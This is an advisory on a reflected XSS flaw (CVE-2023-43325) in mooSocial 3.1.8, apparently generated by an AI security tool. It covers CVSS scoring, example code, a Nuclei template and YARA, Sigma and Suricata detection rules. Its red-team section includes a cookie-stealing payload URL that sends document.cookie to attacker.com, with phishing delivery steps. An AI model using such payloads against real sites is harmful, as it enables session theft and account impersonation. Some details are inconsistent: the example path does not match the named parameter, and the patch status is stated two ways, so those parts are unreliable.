CVE-2023-43325

Executive Summary

CVE-2023-43325 is a reflected cross-site scripting (XSS) vulnerability in mooSocial version 3.1.8. The flaw exists in the data[redirect_url] parameter of the login function, allowing an unauthenticated attacker to inject arbitrary JavaScript. Successful exploitation can lead to session cookie theft and account impersonation. The vulnerability is publicly documented with a proof-of-concept (PoC) and a Nuclei template, making it easily exploitable. No official patch has been released by the vendor.

Supply Chain & Package Security

This vulnerability affects the mooSocial web application, which is a commercial social networking platform. There is no associated NPM, PyPI, Go, or Ruby package. The risk is limited to organizations self-hosting mooSocial 3.1.8.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (victim must click a crafted link)
• Scope: Changed
• Confidentiality Impact: Low (session cookie theft)
• Integrity Impact: Low (malicious actions via impersonation)
• Availability Impact: None
• EPSS Score: 0.19716 (Percentile: 0.95452) – Low probability of exploitation in the wild, but PoC availability increases risk.

Deep Dive & Mechanics

The vulnerability is a reflected XSS in the login page of mooSocial 3.1.8. The data[redirect_url] parameter is not properly sanitized or encoded before being reflected in the response. An attacker can craft a URL such as:

/users/test%22%3E%3Cimg%20src=a%20onerror=alert(document.domain)%3Etest

When a victim clicks this link, the injected payload (<img src=a onerror=alert(document.domain)>) is executed in the context of the victim's browser. This allows the attacker to steal session cookies, perform actions on behalf of the victim, or redirect to malicious sites.

The vulnerability is classified under CWE-79 (Improper Neutralization of Input During Web Page Generation). The root cause is the lack of output encoding for the redirect_url parameter in the login function.

Vulnerable vs. Patched Code

Vulnerable Code (mooSocial 3.1.8): The login function directly reflects the data[redirect_url] parameter without sanitization. Example (pseudo-code):

$redirect_url = $_GET['data[redirect_url]'];
echo "<input type='hidden' name='redirect_url' value='" . $redirect_url . "'>";

Patched Code (Hypothetical): Proper output encoding and input validation should be applied:

$redirect_url = htmlspecialchars($_GET['data[redirect_url]'], ENT_QUOTES, 'UTF-8');
echo "<input type='hidden' name='redirect_url' value='" . $redirect_url . "'>";

Additionally, a whitelist of allowed redirect URLs should be enforced.

Exploitation & Lab Setup

Red Team

Prerequisites:

• MooSocial 3.1.8 instance (e.g., Docker or local installation)
• Attacker-controlled server to capture cookies (e.g., Burp Collaborator or a simple HTTP server)

Exploitation Steps:

1. Craft a malicious URL:

   http://target.com/users/test%22%3E%3Cimg%20src=a%20onerror=alert(document.domain)%3Etest
   

2. Send the URL to a victim (e.g., via phishing email).
3. When the victim clicks the link, the injected JavaScript executes. For cookie theft, use:

   http://target.com/users/test%22%3E%3Cscript%3Enew%20Image().src=%22http://attacker.com/steal?cookie=%22%2Bdocument.cookie%3C/script%3Etest
   

4. The attacker receives the victim's session cookie and can impersonate the account.

Nuclei Template (Provided):

id: CVE-2023-43325

info:
  name: MooSocial 3.1.8 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    A reflected cross-site scripting (XSS) vulnerability exisits in the data[redirect_url] parameter on user login function of mooSocial v3.1.8 which allows attackers to steal user's session cookies and impersonate their account via a crafted URL.
  impact: |
    Unauthenticated attackers can inject malicious JavaScript through the redirect_url parameter on the login page, potentially stealing user session cookies and impersonating accounts on the MooSocial platform.
  remediation: |
    Update mooSocial to a version newer than 3.1.8 that properly sanitizes the redirect_url parameter and encodes output in the login function.
  reference:
    - https://github.com/ahrixia/CVE-2023-43325
    - https://nvd.nist.gov/vuln/detail/CVE-2023-43325
    - https://moosocial.com/
    - https://travel.moosocial.com/
    - https://github.com/fkie-cad/nvd-json-data-feeds
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-43325
    cwe-id: CWE-79
    epss-score: 0.19716
    epss-percentile: 0.95452
    cpe: cpe:2.3:a:moosocial:moosocial:3.1.8:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: moosocial
    product: moosocial
    shodan-query: http.favicon.hash:"702863115"
    fofa-query: icon_hash="702863115"
  tags: cve2023,cve,xss,moosocial,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/users/test%22%3E%3Cimg%20src=a%20onerror=alert(document.domain)%3Etest"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 404'
          - 'contains(content_type, "text/html")'
          - 'contains_all(body, "<img src=a onerror=alert(document.domain)>", "mooSocial")'
        condition: and

Blue Team

Detection:

• Monitor web server logs for requests to /users/ containing encoded HTML tags (e.g., %3C, %3E, %22).
• Use WAF rules to block requests with suspicious redirect_url parameters.
• Deploy the provided Sigma and Suricata rules.

Hunting:

• Search for session cookies being exfiltrated to external domains.
• Review login page responses for unsanitized user input.

Indicators of Compromise (IOCs)

• URL Pattern: */users/*%22%3E%3C*%3E*
• HTTP Request: GET request to /users/ with data[redirect_url] parameter containing HTML/JavaScript.
• Response Body: Presence of injected payload (e.g., <img src=a onerror=...>).
• Network Traffic: Outbound connections to attacker-controlled servers from the victim's browser.
• Favicon Hash: 702863115 (Shodan/FoFA query).

Detection Engineering

YARA Rule

rule CVE_2023_43325_XSS_MooSocial {
    meta:
        description = "Detects reflected XSS attempts against MooSocial 3.1.8"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2023-43325"
    strings:
        $xss_payload = /%22%3E%3C(script|img|svg|iframe|input|textarea|onerror|onload|onclick|onmouseover)[^>]*>/
        $moo_path = "/users/"
    condition:
        $moo_path and $xss_payload
}

Sigma Rule

title: Reflected XSS in MooSocial 3.1.8 via redirect_url
id: 8a3b2c1d-4e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects attempts to exploit CVE-2023-43325 by injecting XSS payloads into the redirect_url parameter.
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-43325
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '/users/'
        cs-uri-query|contains|all:
            - '%22%3E%3C'
            - 'onerror'
            - 'alert'
    condition: selection
falsepositives:
    - Legitimate use of encoded characters in URLs (rare)
level: high
tags:
    - attack.initial-access
    - attack.t1190
    - cve.2023.43325

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-43325 MooSocial Reflected XSS Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/users/"; http_uri; content:"%22%3E%3C"; http_uri; content:"onerror"; http_uri; classtype:web-application-attack; sid:10000001; rev:1; reference:cve,2023-43325;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: If a patched version becomes available, upgrade immediately. Currently, no official patch exists.
2. WAF Rules: Deploy a Web Application Firewall (WAF) rule to block requests containing %22%3E%3C in the redirect_url parameter.
3. Input Validation: Implement server-side validation to allow only safe redirect URLs (e.g., relative paths or whitelisted domains).
4. Output Encoding: Ensure all user-supplied data is HTML-encoded before reflection.

Long-Term Fix:

• The vendor must release a security update that properly sanitizes the redirect_url parameter.
• Conduct a code review of the login function to prevent similar issues.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact Secure Channels (Signal / Portal).

{/* [Security Hash: 688058BA5FB3C2921CD4AF8C] */}